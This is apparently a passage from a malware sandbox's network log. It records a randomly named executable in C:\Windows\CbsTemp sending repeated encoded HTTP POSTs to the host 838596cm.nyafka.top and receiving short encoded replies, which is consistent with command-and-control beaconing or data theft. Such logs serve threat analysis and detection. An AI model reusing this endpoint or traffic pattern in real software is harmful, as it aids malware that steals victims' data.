Jan 8, 2025 17:14:05.895107985 CET	2532	OUT	Data Raw: 50 51 5e 52 59 58 53 5b 5e 5f 57 54 56 59 59 5f 57 55 58 59 50 5e 56 5d 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: PQ^RYXS[^_WTVYY_WUXYP^V][EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\#(8+X'">[=;'4?.2>;"&(.Q(=8[ .?9/#_&'P-
Jan 8, 2025 17:14:06.015132904 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:14:06.263859034 CET	810	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:14:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mBIlbTxXZ%2FVPqInvlN%2FlSwcGZqb7yDi2XmWvK%2BToyccEAPR%2B7WNSxLw6sWlJnA0suuaQUB%2BeZnNC3CvOMLXeKyWNsY0K%2FCBN9BeKErC6R5TejiTYR2jgKvC6nWhmwr5dYMb9sB3F"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed7a874e97c34f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4437&min_rtt=1476&rtt_var=6475&sent=2&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2857&delivery_rate=58017&cwnd=180&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.5	50070	104.21.112.1	80	8200	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:14:06.400717974 CET	325	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue
Jan 8, 2025 17:14:06.754622936 CET	2532	OUT	Data Raw: 55 51 5e 51 59 50 53 58 5e 5f 57 54 56 57 59 58 57 53 58 5d 50 54 56 5b 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: UQ^QYPSX^_WTVWYXWSX]PTV[[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\ Z+^70 &Z>6;$'X>>]'!)"#^(? >#^9?#_&'P-
Jan 8, 2025 17:14:06.857709885 CET	25	IN	HTTP/1.1 100 Continue

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.5	50071	104.21.112.1	80	8200	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:14:06.979677916 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 1828 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:14:07.332565069 CET	1828	OUT	Data Raw: 55 57 5e 50 59 5b 53 59 5e 5f 57 54 56 5a 59 5a 57 52 58 5e 50 5c 56 5e 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: UW^PY[SY^_WTVZYZWRX^P\V^[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\#+8<'U>Y>-\,'0>-9^=+0;&<!;Y*([6=/\,?#_&'P-7
Jan 8, 2025 17:14:07.423688889 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:14:07.697705984 CET	957	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:14:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ja4Oqk1jQfQwdEoXmSsp5akb1ApydxEq5uUBXYnyuXW%2FTCoOHhkDSAPpHnAiTrWAZWiI6oA%2FiPDOzmUZN59Z%2F2iMvxs%2BlSQgC9iYgE1plu8%2BIvJCtpJtLaqLw9h6t7Wh7QMBECnl"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed7a901e58727b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2100&min_rtt=2019&rtt_var=919&sent=4&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2177&delivery_rate=547431&cwnd=233&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 03 1d 27 0c 33 3e 2c 59 34 15 08 08 2b 39 38 06 29 33 0f 03 39 39 2f 03 26 34 38 5e 25 12 01 01 23 01 25 5a 2b 06 07 59 30 50 33 0f 2a 2b 20 5c 04 1f 24 5c 3c 38 31 56 29 3f 2d 07 26 33 31 5c 25 33 20 5c 26 2d 27 11 30 07 32 1d 34 29 3c 0e 3b 20 3e 1b 2f 3b 33 05 3c 37 0e 5b 26 2e 2f 50 0f 10 38 18 2e 2a 33 5d 36 31 2a 54 20 33 16 01 23 35 0a 5b 3d 3e 27 54 35 59 3d 5b 24 1d 22 08 21 22 20 0c 27 55 33 5a 3f 0f 34 1d 28 19 24 55 2c 02 2c 49 02 3f 58 52 0d 0a 30 0d 0a 0d 0a Data Ascii: 98'3>,Y4+98)399/&48^%#%Z+Y0P3+ \$\<81V)?-&31\%3 \&-'024)<; >/;3<7[&./P8.3]61*T 3#5[=>'T5Y=[$"!" 'U3Z?4($U,,I?XR0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.5	50072	104.21.112.1	80	8200	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:14:07.510102034 CET	325	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue
Jan 8, 2025 17:14:07.867140055 CET	2532	OUT	Data Raw: 55 53 5e 52 59 50 53 5c 5e 5f 57 54 56 5d 59 53 57 54 58 5c 50 55 56 59 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: US^RYPS\^_WTV]YSWTX\PUVY[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\ +($' 2Z)[![,$Z=.^)8)0&+T;*<( >#]-#_&'P-+
Jan 8, 2025 17:14:07.973277092 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:14:08.208106041 CET	802	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:14:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Bx4PFhhD5%2BewTlvDfpUaNRpgil3Oy73UdJjZuDYfbI3ipCCz%2FXRBQ8OEe%2BKYoTAqw7ZaqEWEZQEO7O8fId4kQgy2pq0uwmizIa3Ox47WXEfD2EVZ%2FVqNHd9T8b403Tq6u9RjeEsJ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed7a938ec1424b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=7989&min_rtt=1749&rtt_var=13136&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2857&delivery_rate=28256&cwnd=247&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a Data Ascii: 41U][
Jan 8, 2025 17:14:08.298669100 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.5	50073	104.21.112.1	80	8200	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:14:08.704027891 CET	325	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue
Jan 8, 2025 17:14:09.051333904 CET	2532	OUT	Data Raw: 55 5c 5e 53 5c 5f 53 58 5e 5f 57 54 56 59 59 52 57 5f 58 52 50 5f 56 5b 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: U\^S\_SX^_WTVYYRW_XRP_V[[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\#?(33>[9/(*>1Z=+!';V</\>+6=Y-#_&'P-
Jan 8, 2025 17:14:09.163516998 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:14:09.340553045 CET	799	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:14:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FsbD39Rik8sFkLUffDN%2F8q%2ByTpPJzRrfdwkde0FjRHZrqu9Vh92v2uiNtprQmo0yjc%2FuDno4oelGF8j9Lp04dLfhebkYmATvp4v1Z2MXSCRfuNKJrjnyEHjWEGOj3m8kPjsyqDeP"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed7a9afaaf43b3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3495&min_rtt=1575&rtt_var=4430&sent=2&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2857&delivery_rate=86211&cwnd=202&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a Data Ascii: 41U][
Jan 8, 2025 17:14:09.430212975 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.5	50074	104.21.112.1	80	8200	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:14:09.556314945 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:14:09.910662889 CET	2532	OUT	Data Raw: 55 53 5b 55 5c 5c 56 5c 5e 5f 57 54 56 5a 59 58 57 51 58 5b 50 59 56 51 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: US[U\\V\^_WTVZYXWQX[PYVQ[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\ <^3]%#->>9,$#=-)[>X3+.S+3^=< ]"=X-/#_&'P-7
Jan 8, 2025 17:14:10.003874063 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:14:10.246557951 CET	810	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:14:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nPp9R7CnbkpNeH7KxsAteXsMBZsmTrFNzSlJeg0J%2FPVlAb9sjbmsmsmZ6%2B8BpD%2FyBU%2BDf5%2ByVknmExYnz%2FqviQGjdDVZgQZJUmGsASi6Ip37YBUxNyU8XQqhBtGignLCYFLmANK3"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed7aa03b8443b3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=5449&min_rtt=3772&rtt_var=4770&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2881&delivery_rate=84913&cwnd=202&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.5	50075	104.21.112.1	80	8200	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:14:10.390377045 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:14:10.739021063 CET	2532	OUT	Data Raw: 55 51 5b 54 59 50 53 59 5e 5f 57 54 56 5c 59 5d 57 50 58 53 50 5a 56 5c 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: UQ[TYPSY^_WTV\Y]WPXSPZV\[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\ _($>)",4?="(+!&;&S??*<!='-?#_&'P-/
Jan 8, 2025 17:14:10.866142035 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:14:11.117414951 CET	807	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:14:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mOpCuMXwLUvH93D3ItpnUkvMvxuMatC4Zz9w%2F5AiY0fjlj7lA2Bk61wOXhnwWmiafVSkFfULzYPYKnLRixDWfHo4Ds%2B6Vc9aH2rhr%2B35pvX2gMktGji53r7bEch5G5pl%2BLOSC4Y5"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed7aa59b060f5b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=7354&min_rtt=1691&rtt_var=11961&sent=2&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2881&delivery_rate=31063&cwnd=220&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.5	50076	104.21.112.1	80

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:14:11.245580912 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:14:11.598278999 CET	2532	OUT	Data Raw: 55 56 5e 5f 59 5c 56 5e 5e 5f 57 54 56 59 59 53 57 5e 58 5d 50 55 56 59 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: UV^_Y\V^^_WTVYYSW^X]PUVY[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\ <X%#[/47>=&=%X$].+2']<6/_9?#_&'P-
Jan 8, 2025 17:14:11.708601952 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:14:11.922523022 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:14:11.946995020 CET	805	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:14:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nhmBaFOv4kDQ5oFUNsc3ruk1Dj3p5UwEVWg1B%2BflkKTgsEQlDTiIGZH1osnjBO6naCTxEva10jdBL%2B5feqsr4zNf583uWnwlCqCWatPVoLps3e%2BVVsyOmoEWGn4W0V2qktbzXxJg"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed7aaada30424b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=7660&min_rtt=1577&rtt_var=12758&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2881&delivery_rate=29058&cwnd=247&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.5	50077	104.21.112.1	80

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:14:12.078146935 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:14:12.426353931 CET	2532	OUT	Data Raw: 50 57 5b 54 59 50 56 5b 5e 5f 57 54 56 5f 59 53 57 5f 58 58 50 5f 56 5b 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: PW[TYPV[^_WTV_YSW_XXP_V[[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\ Z<^$#1=-![/(>["0;2(1;X=?35'\./#_&'P-#
Jan 8, 2025 17:14:12.523612976 CET	25	IN	HTTP/1.1 100 Continue

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.5	50078	104.21.112.1	80

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:14:12.715471029 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 1852 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:14:13.067307949 CET	1852	OUT	Data Raw: 50 50 5e 54 59 5e 53 58 5e 5f 57 54 56 5c 59 5d 57 52 58 53 50 54 56 58 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: PP^TY^SX^_WTV\Y]WRXSPTVX[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\ <8'0")%[;$3Y>X!_(+=X&;2P<"?>'5;]:#_&'P-/
Jan 8, 2025 17:14:13.179564953 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:14:13.346962929 CET	959	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:14:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DbC%2F671Ub3GuE6iTarHhLzryTup8gGMpfSAa5%2Fw8VXyg1ht7MVJ03xu6SflNeG%2BfeHxIT%2ByydVepqeKsG%2BZX7TOQHjqM%2BnxFqAXI0RIT2G5snZiJGgD12BWe2QfOXgnWO0Y0msDt"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed7ab41e740f5b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3511&min_rtt=1578&rtt_var=4459&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=2201&delivery_rate=85645&cwnd=220&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 03 1d 24 1f 24 04 34 1d 20 05 26 09 2b 5c 3f 10 2a 0d 25 01 39 07 37 01 31 27 23 06 31 05 30 5b 23 2c 21 5e 3c 5e 36 02 27 0f 30 1d 3f 2b 20 5c 04 1f 24 5f 3e 28 21 52 2a 3f 32 58 26 30 21 10 25 23 2b 00 25 13 2b 59 27 29 29 0f 34 00 23 56 2f 30 3d 0a 2d 2b 30 5d 2a 27 2c 11 27 3e 2f 50 0f 10 38 17 2e 00 23 10 36 0f 25 0f 20 33 37 1e 37 1b 33 03 3e 13 33 18 36 2c 21 5c 27 55 22 08 20 1c 3b 1c 24 1d 37 5f 3f 0f 2b 0f 3f 33 24 55 2c 02 2c 49 02 3f 58 52 0d 0a 30 0d 0a 0d 0a Data Ascii: 98$$4 &+\?%971'#10[#,!^<^6'0?+ \$_>(!R?2X&0!%#+%+Y'))4#V/0=-+0]*','>/P8.#6% 3773>36,!\'U" ;$7_?+?3$U,,I?XR0

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.5	50079	104.21.112.1	80

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:14:13.002216101 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:14:13.348176956 CET	2532	OUT	Data Raw: 55 5d 5b 52 5c 5a 56 5c 5e 5f 57 54 56 58 59 5e 57 51 58 52 50 5d 56 51 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: U][R\ZV\^_WTVXY^WQXRP]VQ[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\#(+/_$#2=%Z.4/)=:=;!$]"R)"/>+ =<,/#_&'P-?
Jan 8, 2025 17:14:13.455404043 CET	25	IN	HTTP/1.1 100 Continue
